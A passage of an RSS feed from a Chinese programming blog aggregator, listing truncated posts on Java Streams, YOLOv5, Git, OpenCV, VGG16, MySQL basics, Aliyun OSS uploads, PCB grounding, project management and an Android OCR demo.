      <link>https://bchobby.github.io/posts/2f4e6e0e4192de5d4af1b338fcc573dc/</link>
      <pubDate>Tue, 19 Jul 2022 23:28:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f4e6e0e4192de5d4af1b338fcc573dc/</guid>
      <description>Java------Stream流式编程源码分析（二） Stream执行流程 Stream是一个接口，表示流的意思，类似一个管道，数据好比流水从管道经过。用于传递数据，并不存储数据。&#xA;Stream并不会修改源数据。&#xA;Stream整体流水线包括很多操作，按阶段划分分为三部分。&#xA;1.生成流（Stream.of）&#xA;2.中间操作（过滤、转大写、排序等等，每个操作处理完数据完成后，将结果交给下一个操作）&#xA;3.终结操作（结束整个流水线，一个流只有一个终结操作，只要执行终结操作，就触发整个流的执行。，不执行终结操作，中间操作也不会执行。中间操作具有惰性特点。）&#xA;@Test public void test1(){ String[] strs = new String[]{&#34;hello&#34;,&#34;world&#34;,&#34;hi&#34;,&#34;com&#34;,&#34;student&#34;}; //使用Stream流完成上边对字符串的处理需求 Stream.of(strs)//创建一个Stream流对象 .filter(x-&amp;gt;{ System.out.println(&#34;1.过滤&#34;+x); return x.length()&amp;gt;4; })//过滤字符串，找到长度大于4的字符串 .map(x-&amp;gt;{ System.out.println(&#34;2.转大写&#34;+x); return x.toUpperCase(); })//转换大写 .forEach(x-&amp;gt;{ System.out.println(&#34;3.遍历输出&#34;+x); });//遍历输出 } 输出结果：&#xA;1.过滤hello 2.转大写hello 3.遍历输出HELLO 1.过滤world 2.转大写world 3.遍历输出WORLD 1.过滤hi 1.过滤com 1.过滤student 2.转大写student 3.遍历输出STUDENT 由结果可以看到，遍历输出是按先字符串：hello走一遍之后再走world、hi、com、student。并不是先过滤hello、world、hi、com、student，再转大写，再输出。&#xA;如果把forEach注释掉，这些输出语句也不会打印出来。&#xA;Stream原理-生成流 @SafeVarargs @SuppressWarnings(&#34;varargs&#34;) // Creating a stream from an array is safe public static&amp;lt;T&amp;gt; Stream&amp;lt;T&amp;gt; of(T... values) { return Arrays.stream(values); } //再下一步 public static &amp;lt;T&amp;gt; Stream&amp;lt;T&amp;gt; stream(T[] array) { return stream(array, 0, array.</description>
    </item>
    <item>
      <title>【深度学习】使用yolov5对数据进行预标注</title>
      <link>https://bchobby.github.io/posts/273bfcba4e599063d400ce3f34a82639/</link>
      <pubDate>Tue, 19 Jul 2022 23:13:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/273bfcba4e599063d400ce3f34a82639/</guid>
      <description>文章目录 介绍手动标注少数图转化VOC到YOLO转移数据到Linux服务器训练YOLOV5添加数据yaml文件选一个合适的权重训练开服务写labelstxt文件 介绍 以条形码为例，下载数据集muenster_barcodedb，想使用yolov5对条形码进行检测。muenster_barcodedb数据集有几千张图，没有目标检测标注。&#xA;手动标注少数图 随意选95张图出来，手动LabelImg标注，VOC标注格式。&#xA;转化VOC到YOLO 填写xmi路径和yolo txt保存路径即可：&#xA;# coding:utf-8 import os import os.path import xml.etree.ElementTree as ET def convert_annotation(xmldir: str, txtdir: str, image_id: str, classes: dict): in_file = open(os.path.join(xmldir, &#39;%s.xml&#39; % (image_id)), &#39;r&#39;, encoding=&#39;UTF-8&#39;) out_file = open(os.path.join(txtdir, &#39;%s.txt&#39; % (image_id)), &#39;w&#39;) tree = ET.parse(in_file) root = tree.getroot() size = root.find(&#39;size&#39;) size_width = int(size.find(&#39;width&#39;).text) size_height = int(size.find(&#39;height&#39;).text) for obj in root.iter(&#39;object&#39;): difficult = obj.find(&#39;difficult&#39;).text cls = obj.find(&#39;name&#39;).text if cls not in classes or int(difficult) == 1: continue cls_id = classes[cls] xmlbox = obj.</description>
    </item>
    <item>
      <title>用户名枚举漏洞怎么解决</title>
      <link>https://bchobby.github.io/posts/84fb07a06dc3d85f1ce153d8e32beb2d/</link>
      <pubDate>Tue, 19 Jul 2022 16:06:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84fb07a06dc3d85f1ce153d8e32beb2d/</guid>
      <description> </description>
    </item>
    <item>
      <title>Git技能树（3）：Git使用</title>
      <link>https://bchobby.github.io/posts/1b0544a0b862d4b6082e1e687e9e4d33/</link>
      <pubDate>Tue, 19 Jul 2022 14:54:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b0544a0b862d4b6082e1e687e9e4d33/</guid>
      <description>Git技能树（3）：Git使用 在开始 Git 的基础命令学习之前，我们先来认识一下版本库——Repository，接下来我们所有提到的 Git 基础命令，都是基于版本库的。&#xA;那么什么是版本库呢？版本库又名仓库，英文名 repository，你可以简单理解成一个目录，这个目录里面的所有文件都可以被Git管理起来，每个文件的修改、删除，Git都能跟踪，以便任何时刻都可以追踪历史，或者在将来某个时刻可以“还原”。&#xA;接下来，我们首先看看 Git 版本库创建的相关命令。&#xA;在已存在目录中初始化仓库 —— git init 在已存在目录中创建一个版本库的过程非常简单：&#xA;首先，选择一个合适的地方，创建一个空目录：&#xA;创建目录&#xA;$ mkdir learning-git $ cd learning-git $ pwd /Users/xxm/learning-git pwd命令用于显示当前目录。&#xA;第二步，通过git init命令把这个目录变成 Git 可以管理的仓库：&#xA;初始化仓库&#xA;$ git init Initialized empty Git repository in /Users/xxm/learning-git/.git/ 瞬间 Git 就把仓库建好了，而且告诉你是一个空的仓库（empty Git repository），同时在当前目录下多了一个.git的目录，这个目录是 Git 来跟踪管理版本库的，如果你没有看到 .git 目录，那是因为这个目录默认是隐藏的，用ls -ah命令就可以看到了。&#xA;克隆现有的仓库 —— git clone 如果你想获得一份已经存在了的 Git 仓库的拷贝，比如说，你想为某个开源项目贡献自己的一份力，这时就要用到 git clone 命令，Git 克隆的是该 Git 仓库服务器上的几乎所有数据，而不是仅仅复制完成你的工作所需要文件。&#xA;git clone&#xA;当你执行 git clone 命令的时候，默认配置下远程 Git 仓库中的每一个文件的每一个版本都将被拉取下来。</description>
    </item>
    <item>
      <title>Windows无法启动启动服务，错误1053的解决方法</title>
      <link>https://bchobby.github.io/posts/7673c8e5e638515ecab3465ad2af14ce/</link>
      <pubDate>Tue, 19 Jul 2022 13:46:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7673c8e5e638515ecab3465ad2af14ce/</guid>
      <description> Windows无法启动启动服务，错误1053的解决方法 项目需求，要将一个exe二进制文件以windows服务的形式发布，开发编译运行后一切正常。sc命令安装为windows服务启动，出现下图错误：Windows无法启动启动服务，错误1053&#xA;关键代码处打上crash日志&#xA;发现获取程序运行路径的配置文件读取失败，但直接运行exe则成功。&#xA;原因及解决：&#xA;原因是加载配置文件的接口是用Getwd()获取的当前的工作目录，当将exe注册为windows服务运行时，Getwd获取的则是系统服务调用的工作目录&#xA;解决：&#xA;项目用的是golang开发，这里用到了 os.Executable() 来返回当前实际运行exe的路径，而不是调用者的工作路径。&#xA;func GetPath() (string, error) { executable, err := os.Executable() if err != nil { return &#34;&#34;, err } symlinks, err := filepath.EvalSymlinks(executable) if err != nil { return &#34;&#34;, err } rootPath := filepath.Dir(symlinks) if rootPath == &#34;.&#34; { return &#34;&#34;, errors.New(&#34;dir is empty&#34;) } return rootPath, nil } </description>
    </item>
    <item>
      <title>【python-opencv入门笔记】8 - 形态学操作：膨胀</title>
      <link>https://bchobby.github.io/posts/b5dc03864aa66ee1811492d6a0dc8eb2/</link>
      <pubDate>Tue, 19 Jul 2022 11:13:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5dc03864aa66ee1811492d6a0dc8eb2/</guid>
      <description>简单来说，膨胀就是把图像中的物体变大了！&#xA;与腐蚀操作一样，也需要一个矩阵参数。&#xA;膨胀函数：dilate(图像,矩阵)&#xA;示例图片：&#xA;源码&#xA;import cv2 import numpy as np csdn_img = cv2.imread(&#34;./csdn2.jpg&#34;) # 读取图像 k1 = np.ones((3, 3), np.uint8) # 3个不同尺度的膨胀单元 k2 = np.ones((5, 5), np.uint8) k3 = np.ones((9, 9), np.uint8) k1_img = cv2.dilate(csdn_img, k1) # 膨胀函数 k2_img = cv2.dilate(csdn_img, k2) k3_img = cv2.dilate(csdn_img, k3) cv2.imshow(&#34;csdn_img&#34;, csdn_img) cv2.imshow(&#34;k1_img&#34;, k1_img) cv2.imshow(&#34;k2_img&#34;, k2_img) cv2.imshow(&#34;k3_img&#34;, k3_img) cv2.waitKey(0) 执行结果：&#xA;碰撞矩阵为：(3, 3)&#xA;碰撞矩阵为：(5,5)&#xA;碰撞矩阵为：(9,9)</description>
    </item>
    <item>
      <title>深度学习——（4）VGG16 图像分类</title>
      <link>https://bchobby.github.io/posts/bbd35b8482ef6d91c60d38721c6824b4/</link>
      <pubDate>Tue, 19 Jul 2022 10:02:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bbd35b8482ef6d91c60d38721c6824b4/</guid>
      <description>深度学习——（4）VGG16 图像分类 文章目录 深度学习——（4）VGG16 图像分类1. model2. train3. predict 上次使用ResNet对图像进行分类，因为现在数据是同一类图像，想要对他进行更加细致的分类，还在学习其他的分类model。最近用VGG16，是站在巨人的肩膀上的一篇博客，是对以前模型的微调，但是真的有学习到，就算是自己的学习记录，后面会学习并尝试其他的model。 1. model 各个VGG在ImageNet上的训练参数下载&#xA;model_urls = { &#39;vgg11&#39;: &#39;https://download.pytorch.org/models/vgg11-bbd30ac9.pth&#39;, &#39;vgg13&#39;: &#39;https://download.pytorch.org/models/vgg13-c768596a.pth&#39;, &#39;vgg16&#39;: &#39;https://download.pytorch.org/models/vgg16-397923af.pth&#39;, &#39;vgg19&#39;: &#39;https://download.pytorch.org/models/vgg19-dcbb9e9d.pth&#39; } # -*- coding: utf-8 -*- import torch.nn as nn import torch import torchvision.models as models # official pretrain weights device = torch.device(&#34;cuda:0&#34; if torch.cuda.is_available() else &#34;cpu&#34;) class VGG(nn.Module): def __init__(self, features, num_classes=1000, init_weights=False): super(VGG, self).__init__() self.features = features if init_weights==True: # 如果要加载imageNet的权重，还原 self.classifier = nn.Sequential( nn.</description>
    </item>
    <item>
      <title>Pycharm打包项目为exe文件</title>
      <link>https://bchobby.github.io/posts/733cc6351a9b64f979871185b5ba3ccd/</link>
      <pubDate>Mon, 18 Jul 2022 23:08:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/733cc6351a9b64f979871185b5ba3ccd/</guid>
      <description>项目打包生成exe可执行文件 1.首先，打开自己要发布的工程 ，点击底部的“Terminal”打开终端，输入命令：&#xA;pip install pyinstaller ，按回车键运行。&#xA;2.输入命令：pyinstaller ，按回车键显示安装成功。&#xA;3.输入命令pyinstaller --console --onefile xxx.py&#xA;4. exe文件的路径&#xA;在项目根目录下有一个dist文件夹，里面会有打包好的exe文件</description>
    </item>
    <item>
      <title>如何在隔离电源 PCB 布局中接地</title>
      <link>https://bchobby.github.io/posts/8b879b9ffe7586b885ea9e9e4ef7d822/</link>
      <pubDate>Mon, 18 Jul 2022 22:47:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b879b9ffe7586b885ea9e9e4ef7d822/</guid>
      <description>如何在隔离电源 PCB布局中接地&#xA;大多数使用台式电源的设计人员可能会使用插入墙壁的隔离式稳压（开关）PSU。在特定的 DC 或 AC 电平下提供稳定电源所需的一切都内置在该单元中，并且噪声相对较低，作为设计师，除了将一些引线连接到电路板之外，您实际上不需要做任何事情。不幸的是，带有集成电源部分的真实系统，或者甚至只是您想要集成到更大系统中的电源调节器模块，都没有那么简单，需要一些定制设计来确保它们正确运行。&#xA;将电源集成到系统中的一个重要方面是正确设置和连接接地，即使对于隔离电源也是如此。如果您将隔离电源与主要电路的其余部分集成到电路板上，您仍然需要在系统中接地。这些规则甚至适用于隔离式 DC 充电器或 DC 电源适配器的 PCB，因为设计可能需要连接回大地，具体取决于应用和安全问题。由于接地连接不良会产生噪声问题，甚至是安全隐患，因此让我们看看在电路板上将交流电转换为直流电时在电源调节部分创建接地连接的最佳做法。&#xA;隔离电源中的接地结构&#xA;假设您正在设计一个系统，该系统需要执行电源转换（交流到直流）、调节和传输到设计中的电路。如果您考虑该系统的实际构造，有三种不同的可能用于地面的选择：&#xA;接地：这是一个真正的接地电气连接，作为 3 线交流线路上的安全线 (PE) 存在。&#xA;机箱接地：这适用于带有金属元件的外壳，其中外壳中的金属用于创建接地连接。&#xA;信号地：这有时被错误地描述为模拟地和数字地（不要像这样分开你的地）。信号地通常是指除地或底盘以外的任何东西。&#xA;使用变压器耦合构建的电源（例如 AC-DC 转换器、DC-DC 开关转换器或这两种系统的组合）将使用变压器构建以弥补 PCB布局中的这些间隙。原因很简单：除非您仅在低电压和低电流下运行，否则您通常希望在设计中进行隔离以保护用户免受安全危害。&#xA;由于各种原因，这些接地系统并不总是位于单个接地平面上。这适用于开关电源，尤其是更复杂的电源，如LLC 谐振转换器。接地如此重要的原因是它定义了组件在系统中运行时测量的电压。当我写“一个组件测量的电压”时，它意味着在系统中的某个接地区域上定义的 5 V 信号在系统中的某个其他接地区域上测量时可能无法在 5V 下测量。&#xA;在此图中，如果两个接地区域之间存在电位差，则在右接地区域 (GND2) 上可能会错误地测量源自左侧接地区域 (GND1) 的信号。&#xA;隔离式开关电源中的这个问题称为“接地偏移”，会产生噪声问题。这非常重要，因为系统中的接地偏移可能只是您希望在变压器耦合电源中可靠提供的电压的一小部分。&#xA;用电容器接地可保持直流隔离&#xA;幸运的是，有一个简单的解决方案：用电容器将平面连接在一起。Y 级电容器是较高电压/电流设计的不错选择。您可以在原理图中轻松完成此操作：只需找到您的电容器所需的组件，然后通过直接连接桥接接地网络。在 PCB布局中执行此操作的典型位置靠近变压器。&#xA;尽管在 AC-DC 转换中仍然有效，但更复杂的方法是在电源轨和系统的 AC 侧之间使用电容器。通过抽取和释放一些位移电流来消除每一侧之间的接地偏移。&#xA;此示意图显示了一种桥接两个接地的简单方法。您会在一些参考设计中看到这一点。&#xA;请注意，这仅适用于板上的两个接地区域。我们还没有考虑底盘或地球。但是，您可以采取一些基本步骤来确保外壳、电路板和接地正确连接在一起。不幸的是，这并不是那么简单，需要考虑噪声和电流如何在系统中发挥作用，以及它们是否会造成安全隐患。以下是一些可供进一步阅读的资源，可帮助您确定在保持隔离的同时连接接地的最佳方式。&#xA;关于电子设计和 PCB布局中的接地&#xA;隔离与非隔离电源：正确的选择&#xA;定义电源接地：PCB 中的系统、机箱和接地&#xA;如何穿过地平面间隙布线&#xA;如果您想为您的电源系统实施控制算法，您将需要允许从输出返回到输入的反馈，以便可以感测到输出功率。这意味着您需要从稳压器一侧的输出端到包含开关元件的输入侧物理运行一条线路。问题是：如果您的输出端是 DC，但您想保持隔离，那么提供的最佳方法是什么？&#xA;答案是使用光耦合器。在间隙上放置走线是不合适的，因为走线会接收外部噪声，而开关电源会产生大量噪声。变压器耦合也无法使用，因为您正在调节 DC。在下面的示意图中，光耦合器跨越接地层之间的隔离，因此我们在此电源中保持了所需的隔离。&#xA;光耦合器允许您跨地平面间隙发送信号，而无需布线。&#xA;放置光耦合器后，您可以将输出路由到电源控制器。具有 PWM 输出的微控制器是定制电源控制器的不错选择，尽管有些公司生产具有反馈输入且可配置一些外部电阻器的 MOSFET 栅极驱动器控制器。如果您正在设计非常精确的功率调节或您正在试验控制算法，这是实现输出检测的简单解决方案。然后，您可以使用标准控制算法来调整 PWM 控制器的频率，以确保最大效率或专门跟踪所需的功率输出。</description>
    </item>
    <item>
      <title>Linux系统编程阶段：MySQL数据库相关知识点和函数。</title>
      <link>https://bchobby.github.io/posts/d3d48f3a78137ebad3a85ac103e0fe79/</link>
      <pubDate>Mon, 18 Jul 2022 19:51:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3d48f3a78137ebad3a85ac103e0fe79/</guid>
      <description>1.数据库的作用和介绍&#xA;数据库（Database）是按照数据结构来组织、存储和管理数据的仓库，每个数据库都有一个或多个不同的API用于创建，访问，管理，搜索和复制所保存的数据。&#xA;数据库里面的数据的增删改查速度比文件操作要快的多。&#xA;2.mysql的安装&#xA;sudo apt-get install mysql-server：服务端安装&#xA;sudo apt-get install mysql-client：客户端安装&#xA;sudo apt-get install libmysqlclient-dev:相关的库&#xA;sudo service mysql start：启动数据库&#xA;sudo service mysql stop:关闭&#xA;注意点：&#xA;在安装的过程中会弹出一个框 ，让你输入数据库的root用户的密码&#xA;这个密码一定不要选择跳过 而要设置一个密码&#xA;这个密码建议大家都设置成1 。&#xA;3.mysql的进入和退出&#xA;登录的时候 ，有两种情况&#xA;-&amp;gt;假如在安装的时候 成功输入了密码&#xA;mysql -u root -p&#xA;-&amp;gt;假如在安装的时候 没有设置密码&#xA;1）切换到root用户 Ubuntu的root用户&#xA;2）在root用户权限下 输入 ：mysql -u root&#xA;退出:quit 退出数据库&#xA;4.mysql的数据类型&#xA;布尔类型：只有0和1&#xA;字符类型：&#xA;数值类型：整型和浮点型&#xA;时间类型：&#xA;5.mysql常用词汇&#xA;datebase：数据库&#xA;table：表&#xA;column：列&#xA;from：来自&#xA;select：选中&#xA;*：所有&#xA;show：显示&#xA;insert：插入&#xA;drop：删除&#xA;change：更改&#xA;update：更新&#xA;6.mysql的显示</description>
    </item>
    <item>
      <title>使用python上传和下载文件到oss中</title>
      <link>https://bchobby.github.io/posts/34d175713987b290ab94319f6fb76de3/</link>
      <pubDate>Mon, 18 Jul 2022 17:33:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34d175713987b290ab94319f6fb76de3/</guid>
      <description>参看阿里接口文档链接: https://help.aliyun.com/document_detail/88426.html&#xA;上传本地文件到oss # -*- coding: utf-8 -*- import oss2 import os AccessKeyId = &#39;xxx&#39; AccessKeySecret = &#39;xxx&#39; # [这个是必须的] # 参考链接: https://help.aliyun.com/document_detail/31837.html ENDPOINT = &#39;https://oss-cn-hangzhou.aliyuncs.com&#39; class HandleOSS(object): def __init__(self, key_id, key_secret, endpoint, bucket=&#39;qmgy-private-hz-dev&#39;): &#39;&#39;&#39; 初始化 :param key_id: :param key_secret: :param bucket: bucket名称 &#39;&#39;&#39; self.key_id = key_id self.key_secret = key_secret self.endpoint = endpoint self.bucket = bucket self.auth = oss2.Auth(key_id, key_secret) if bucket: self.bucket = oss2.Bucket(self.auth, self.endpoint, self.bucket) def update_one_file(self, file_path, oss_path): &#39;&#39;&#39; 将文件上传到oss上 :param file_dir: 要上传的文件 :param oss_dir: oss上的路径, 要存在oss上的那个文件 :return: &#39;&#39;&#39; file_name = file_path.</description>
    </item>
    <item>
      <title>文献阅读记录——Masked Generative Distillation</title>
      <link>https://bchobby.github.io/posts/cddb71cbe6a296703117c89621bf8998/</link>
      <pubDate>Mon, 18 Jul 2022 16:14:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cddb71cbe6a296703117c89621bf8998/</guid>
      <description>仅对文章大致的方法做个记录。&#xA;先给出论文和代码的链接：https://github.com/yzd-v/MGD&#xA;这篇论文讲的是一个通用于各种视觉任务的知识蒸馏方法，因为它属于特征模仿类的知识蒸馏方法。所谓的特征模仿，就是要让学生网络的某一个或几个特征图去模仿对应的教师网络的特征图，从数学表达式上来说，就是计算学生网络特征图和教师网络特征图均方误差，如下所示：&#xA;其中F表示特征图，T表示教师，S表示学生，函数falign的作用是将学生网络特征图的shape reshap成和教师网络特征图相同的shape,这样才能逐点计算均方误差。&#xA;而本文就是基于上式进行的简单改进，其动机如下：&#xA;对于基于cnn的模型，更深层的特征有更大的感受野，对原始输入图片有更好的特征表示。换个角度来说，就是特征图上的像素在一定程度上包含相邻像素的信息。因此我们能使用部分像素来恢复完整的特征图。&#xA;此文章中的方法就是去通过学生网络masked feature去生成教师网络的feature，从而帮助学生实现更好的特征表示。&#xA;具体实现方法很简单，分为3步： 1、特征对齐，通过1*1卷积将学生网络某一层输出的特征图reshape成和教师网络对应层的特征图的shape一致。&#xA;2、生成masked feature. 在特征图上每一个点都生成一个随机数Ri,j（0，1之间），然后有一个超参数𝜆,比这个𝜆大的为1，否则为0，就获得了一个特征掩膜。&#xA;这步我个人理解 就是对特征图进行随机的采样，然后获得一个不那么完整的特征图&#xA;3、然后将这个掩膜和reshape后的特征图相乘就获得了masked feature;&#xA;4、这个masked feature 经过生成模块：3*3conv,Relu,3*3conv 后生成了新的特征图，这个特征图会和教师网络的特征图进行知识蒸馏，即计算两者的特征模仿的损失。&#xA;整体流程如下：&#xA;整个过程相当的简单啊，和原本的特征模仿相比就多了一个先采样再生成的过程。&#xA;这为啥有效，我的想法是：通过这个掩膜，获得了部分的特征图，然后再生成新的特征图去模仿教师网络的特征图，相比原始的特征模仿，多的这一步，是增大网络学习的难度，从而迫使学生网络去学习一个更优秀的特征表示，而生成的特征图去模仿教师网络是因为教师网络的特征表示更优秀，通过模仿可以让学生网络训练时候的”进步“方向不走偏，往学习更优秀的特征表示的方向走。</description>
    </item>
    <item>
      <title>信息系统项目管理---第九章 项目人力资源管理</title>
      <link>https://bchobby.github.io/posts/d441b8b21e9f4622673c0e6dd8089db1/</link>
      <pubDate>Mon, 18 Jul 2022 13:50:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d441b8b21e9f4622673c0e6dd8089db1/</guid>
      <description>信息系统项目管理—第九章 项目人力资源管理 人力资源管理过程说明 （1）规划人力资源管理一识别和记录项目角色、职责、所需技能、报告关系，并编制人员配备管理计划。 （2）组建项目团队一确认人力资源的可用情况，并为开展项目活动而组建团队。 （3）建设项目团队—提高工作能力，促进团队成员互动，改善团队整体氛围，以提高项目绩效。 （4）管理项目团队—跟踪团队成员工作表现，提供反馈，解决问题并管理团队变更，以优化项目绩效的。 领导和管理 领导者：确定方向、统一思想、激励和鼓舞。 管理者：被组织赋予职位和权力，负责某件事情的管理或实现某个目标（关注流程、执行、交付成果、组织及理论等） 领导者设定目标，管理者率众实现目标。项目经理有领导者和管理者的双身份。 前三个权力来自于组织授权（正式权力），后两个来源于管理者自身（人身权力）。 项目经理应更注重运用奖励权力、专家权力和参照权力，尽量避免使用惩罚权力。 马斯洛需求层次理论：生理、安全、社会、尊重、自我实现 生理、安全、社交、尊重、自我；5个层次。 1.生理需求：对衣食住行等需求都是生理需求，这类需求的级别最低，人们在转向较高层次的需求之前，总是尽力满足这类需求。常见的激励措施：员工宿舍、工作餐、工作服、班车、工资、补贴、奖金等。 2.安全需求：包括对人身安全、生活稳定、不致失业以及免遭痛苦、威胁或疾病等的需求。和生理需求一样， 在安全需求没有得到满足之前，人们一般不追求更高层的需求。常见的激励措施：养老保险、医疗保障、长期劳动合同、意外保险、失业保险等。 3.社会交往的需求：包括对友谊、爱情以及隶属关系的需求。当生理需求和安全需求得到满足后，社交需求就会突出出来，进而产生激励作用。这些需求如果得不到满足，就会影响员工的精神，导致高缺勤率、低生产率、对工作不满及情绪低落。常见的激励措施：定期员工活动、聚会、比赛、俱乐部等。 4.受尊重的需求：自尊心和荣誉感。荣誉来自别人，自尊来自自己。常见的激励措施：荣誉性的奖励，形象、地位的提升，颁发奖章，作为导师培训别人等。 5.自我实现的需求：实现自己的潜力，发挥个人能力到最大程度，使自己越来越成为自己所期望的人物。达到自我实现境界的人，必须干与其能力相称的工作，这样才会使他们感到最大的快乐。常见的激励措施：给他更多的空间让他负责、让他成为智囊团、参与决策、参与公司的管理会议等。 赫兹伯格双因素理论 第一类是保健因素（Hygiene Factor），这些因素是与工作环境或条件有关的，能防止人们产生不满意感的一类因素，包括工作环境、工资薪水、公司政策、个人生活、管理监督、人际关系等。 当保健因素不健全时， 人们就会对工作产生不满意感。但即使保健因素很好时，也仅仅可以消除工作中的不满意，却无法增加人们对工作的满意感，所以这些因素是无法起到激励作用的。 第二类是激励因素（Motivator），这些因素是与员工的工作本身或工作内容有关的、能促使人们产生工作满意感的一类因素，是高层次的需要，包括成就、承认、工作本身、责任、发展机会等。 当激励因素缺乏时， 人们就会缺乏进取心，对工作无所谓，但一旦具备了激励因素，员工则会感觉到强大的激励力量而产生对工作的满意感，所以只有这 类因素才能真正激励员工。 麦格雷格的X、Y理论 期望理论 人力资源管理内容 一、规划人力资源管理 1、规划人力资源管理的工具技术 01、组织结构图和职位描述 02、责任分配矩阵 2、规划人力资源管理—输出 人力资源管理计划 01、角色与职责 02、项目组织图 03、人员配备管理计划 04、人力资源管理计划示例 05、资源日历 二、组建项目团队 1、组建项目团队—工具技术 01、预分派：事先指定或分派到项目的人员。 02、谈判：同职能部门、其他项目管理团队、外部组织等谈判，争取资源。 03、招募：外部招募、或外包。 04、虚拟团队：少见面或不见面，通过现代沟通技术（如电子邮件、电话会议、社交媒体、网络会议和视屏会议等）完成项目工作。在虚拟团队中，沟通规划很重要。 优点：可在不同地理位置的员工之间组建团队；增加特殊技能，即使专家不在同一区域；可在家办公；可将不同班次的员工组建团队；将行动不便者或残疾人纳入团队；执行那些原本会因差旅费过高而被否决的项目。 缺点：虚拟团队的一些缺点，例如：可能产生误解、有孤立感，团队成员之间难以分享知识和经验，采用通信技术的成本等。 05、多维决策分析：通过标准决策分析，制定出选择标准，并根据此对候选团队成员进行定级或打分。如可用性、成本、经验、能力、知识、技能、态度等。 2、虚拟团队 虚拟团队（Virtual Teams）的使用为招募项目团队成员提供了新的可能性。虚拟团队可定义为具有共同目标、在完成角色任务的过程中很少或没有时间面对面工作的一群人。现代沟通技术（如电子邮件、电话会议、社交媒体、网络会议和视频会议等）使虚拟团队成为可行。 虚拟团队形式的利： •在组织内部地处不同地理位置的员工之间组建团队。 •为项目团队增加特殊技能，即使相应的专家不在同一地理区域。 •将在家办公的员工纳入团队。 •在工作班次、工作小时或工作日不同的员工之间组建团队。 •将行动不便者或残疾人纳入团队。 •执行那些原本会因差旅费用过高而被否决的项目。虚拟团队形式的弊： 虚拟团队也有一些缺点，例如，可能产生误解，有孤立感，团队成员之间难以分享知识和经验，采用通信技术的成本。 在虚拟团队的环境中，沟通规划变得尤为重要。项目管理团队需要花更多时间，来设定明确的期望，促进沟通，制定冲突解决方法，召集人员参与决策，理解文化差异，以及共享成功喜悦。 三、建设项目团队 1、如何建设高效团队及建设团队的目标 1.1 建设团队的目标 1.</description>
    </item>
    <item>
      <title>实现OCR语言识别Demo（一）- BottomSheet实现</title>
      <link>https://bchobby.github.io/posts/80674c94fd5a393b3e5879226d3287a7/</link>
      <pubDate>Mon, 18 Jul 2022 13:46:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80674c94fd5a393b3e5879226d3287a7/</guid>
      <description>实现OCR语言识别Demo（一）- ButtomSheet实现 实现BottomSheetBottomSheet布局实现假数据准备BottomSheet代码实现 先来看看最终效果 正如你们看到的，这个Demo的功能是我们可以从手机里或者是拍照的方式获取到某张图片，然后经过OCR识别文字后，将识别出来的文字在图片上全部都框选出来，并且在底部以扩展界面的方式可以查看识别内容的列表，点击列表里的某一项识别项就会在图片上选中这一项识别项，反过来点击图片上的框选的识别项也会在列表中进行这一对应项的选中。&#xA;想要实现上面的这种效果，我们需要解决这几个技术点&#xA;实现内嵌RecycleView的BottomSheet图片大小跟随BottomSheet展开折叠的缩放处理图片上展示识别内容的渲染方式图片上识别内容的点击行为实现 让我们一步一步来实现并且一步步的解决这些问题&#xA;实现BottomSheet BottomSheet布局实现 首先我们为应用创建一个带BottomSheet的布局，实现main页面布局&#xA;activity_main.xml中&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;androidx.coordinatorlayout.widget.CoordinatorLayout xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34; android:id=&#34;@+id/coordinator_Layout&#34; xmlns:app=&#34;http://schemas.android.com/apk/res-auto&#34; xmlns:tools=&#34;http://schemas.android.com/tools&#34; android:layout_height=&#34;match_parent&#34; android:layout_width=&#34;match_parent&#34; android:background=&#34;@color/white&#34;&amp;gt; &amp;lt;io.github.karl.ocrdemo.OcrImageView android:id=&#34;@+id/image_preview&#34; android:layout_width=&#34;wrap_content&#34; android:layout_height=&#34;wrap_content&#34; android:layout_gravity=&#34;center|top&#34; android:scaleType=&#34;fitCenter&#34; tools:src=&#34;@tools:sample/backgrounds/scenic&#34; /&amp;gt; &amp;lt;LinearLayout android:id=&#34;@+id/custom_bottom_sheet&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;210dp&#34; app:layout_behavior=&#34;com.google.android.material.bottomsheet.BottomSheetBehavior&#34; app:layout_anchorGravity=&#34;bottom|end&#34; app:behavior_peekHeight=&#34;50dp&#34; app:behavior_hideable=&#34;false&#34; android:background=&#34;@drawable/bottom_sheet_layout_shape&#34; android:paddingStart=&#34;6dp&#34; android:paddingEnd=&#34;6dp&#34; android:orientation=&#34;vertical&#34;&amp;gt; &amp;lt;androidx.constraintlayout.widget.ConstraintLayout android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;wrap_content&#34;&amp;gt; &amp;lt;ImageView android:id=&#34;@+id/image_view&#34; android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;50dp&#34; android:layout_marginTop=&#34;2dp&#34; android:scaleType=&#34;center&#34; android:src=&#34;@mipmap/round_bar_icon&#34; app:layout_constraintTop_toTopOf=&#34;parent&#34; android:clickable=&#34;true&#34; android:focusable=&#34;true&#34;/&amp;gt; &amp;lt;ImageView android:id=&#34;@+id/open_take_pic&#34; android:layout_width=&#34;30dp&#34; android:layout_height=&#34;30dp&#34; android:alpha=&#34;0.25&#34; android:src=&#34;@mipmap/icon_takepic&#34; android:scaleType=&#34;fitCenter&#34; app:layout_constraintRight_toRightOf=&#34;parent&#34; app:layout_constraintTop_toTopOf=&#34;parent&#34; app:layout_constraintBottom_toBottomOf=&#34;parent&#34; app:tint=&#34;@color/black&#34; /&amp;gt; &amp;lt;ImageView android:id=&#34;</description>
    </item>
    <item>
      <title>ThreadPoolTaskExecutor和ThreadPoolExecutor</title>
      <link>https://bchobby.github.io/posts/52cabd88a4c0b0973fbcbf9f4f3bd08c/</link>
